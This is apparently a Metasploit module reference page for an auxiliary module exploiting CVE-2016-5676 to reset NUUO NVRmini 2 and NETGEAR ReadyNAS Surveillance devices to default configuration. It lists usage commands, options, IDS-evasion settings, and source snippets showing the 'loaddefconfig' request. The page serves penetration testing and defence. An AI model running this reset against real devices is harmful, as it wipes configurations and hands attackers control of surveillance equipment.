NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/nuuo_nvrmini_reset metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset
Module: auxiliary/admin/http/nuuo_nvrmini_reset
Source code: modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb
Disclosure date: 2016-08-04
Last modification time: 2022-01-13 18:43:41 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8081, 8443, 8880, 8888
List of CVEs: CVE-2016-5676
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance application are vulnerable to an administrator password reset on the exposed web management interface. Note that this only works for unauthenticated attackers in earlier versions of the Nuuo firmware (before v1.7.6), otherwise you need an administrative user password. This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance. It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested in those devices.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/http/nuuo_nvrmini_reset
msf auxiliary(nuuo_nvrmini_reset) > show targets
... a list of targets ...
msf auxiliary(nuuo_nvrmini_reset) > set TARGET target-id
msf auxiliary(nuuo_nvrmini_reset) > show options
... show and set options ...
msf auxiliary(nuuo_nvrmini_reset) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the admin/http/nuuo_nvrmini_reset auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/nuuo_nvrmini_reset
msf6 auxiliary(admin/http/nuuo_nvrmini_reset) > show info
Name: NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Default Configuration Load and Administrator Password Reset
Module: auxiliary/admin/http/nuuo_nvrmini_reset
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2016-08-04
Provided by:
Pedro Ribeiro <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin no Password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Application path
USERNAME admin no The username to login as
VHOST no HTTP server virtual host
Description:
The NVRmini 2 Network Video Recorded and the ReadyNAS Surveillance
application are vulnerable to an administrator password reset on the
exposed web management interface. Note that this only works for
unauthenticated attackers in earlier versions of the Nuuo firmware
(before v1.7.6), otherwise you need an administrative user password.
This exploit has been tested on several versions of the NVRmini 2
and the ReadyNAS Surveillance. It probably also works on the NVRsolo
and other Nuuo devices, but it has not been tested in those devices.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-5676
https://www.kb.cert.org/vuls/id/856152
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt
https://seclists.org/bugtraq/2016/Aug/45
Module Options
This is a complete list of options available in the admin/http/nuuo_nvrmini_reset auxiliary module:
msf6 auxiliary(admin/http/nuuo_nvrmini_reset) > show options
Module options (auxiliary/admin/http/nuuo_nvrmini_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin no Password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Application path
USERNAME admin no The username to login as
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/nuuo_nvrmini_reset auxiliary module:
msf6 auxiliary(admin/http/nuuo_nvrmini_reset) > show advanced
Module advanced options (auxiliary/admin/http/nuuo_nvrmini_reset):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/nuuo_nvrmini_reset module can do:
msf6 auxiliary(admin/http/nuuo_nvrmini_reset) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/nuuo_nvrmini_reset auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/nuuo_nvrmini_reset) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - A valid username / password is needed to reset the device.
Here is a relevant code snippet related to the "<PEER> - A valid username / password is needed to reset the device." error message:
60: }
61: })
62: if res && (res.code == 200 || res.code == 302)
63: cookie = res.get_cookies
64: else
65: fail_with(Failure::Unknown, "#{peer} - A valid username / password is needed to reset the device.")
66: end
67: res = send_request_cgi({
68: 'uri' => normalize_uri(datastore['TARGETURI'], "cgi-bin", "cgi_system"),
69: 'cookie' => cookie,
70: 'vars_get' => { 'cmd' => "loaddefconfig" }
<PEER> - Failed to reset device.
Here is a relevant code snippet related to the "<PEER> - Failed to reset device." error message:
70: 'vars_get' => { 'cmd' => "loaddefconfig" }
71: })
72: end
73:
74: if res && res.code == 200 && res.body.to_s =~ /load default configuration ok/
75: print_good("#{peer} - Device has been reset to the default configuration.")
76: else
77: print_error("#{peer} - Failed to reset device.")
78: end
79: end
80: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12354 Merged Pull Request: Remove targets from aux and post modules
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7182 Merged Pull Request: Add exploit for CVE 2016-5676 - Nuuo / Netgear Surveillance admin password reset
References
- CVE-2016-5676
- VU#856152
- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt
- https://seclists.org/bugtraq/2016/Aug/45
See Also
Check also the following modules related to this module:
- auxiliary/gather/nuuo_cms_bruteforce
- auxiliary/gather/nuuo_cms_file_download
- exploit/linux/http/nuuo_nvrmini_auth_rce
- exploit/linux/http/nuuo_nvrmini_unauth_rce
- exploit/multi/http/nuuo_nvrmini_upgrade_rce
- exploit/windows/nuuo/nuuo_cms_fu
- exploit/windows/nuuo/nuuo_cms_sqli
- auxiliary/admin/2wire/xslt_password_reset
- auxiliary/admin/chromecast/chromecast_reset
- auxiliary/admin/http/cfme_manageiq_evm_pass_reset
- auxiliary/admin/http/intersil_pass_reset
- auxiliary/admin/http/mantisbt_password_reset
- auxiliary/admin/http/netgear_r6700_pass_reset
- auxiliary/admin/http/rails_devise_pass_reset
- auxiliary/scanner/http/bmc_trackit_passwd_reset
- auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
- auxiliary/admin/http/linksys_tmunblock_admin_reset_bof
- auxiliary/scanner/http/epmp1000_reset_pass
- post/hardware/automotive/ecu_hard_reset
Authors
- Pedro Ribeiro <pedrib[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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